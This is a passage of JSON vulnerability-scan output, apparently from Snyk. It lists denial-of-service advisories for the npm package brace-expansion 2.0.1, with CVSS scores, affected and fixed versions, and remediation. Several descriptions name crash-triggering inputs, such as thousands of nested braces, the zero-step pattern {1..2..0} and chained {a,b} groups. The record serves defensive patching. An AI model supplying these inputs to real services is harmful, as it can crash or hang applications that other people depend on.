"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmversion@6.0.3",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmversion@6.0.3",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmversion@6.0.3",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub 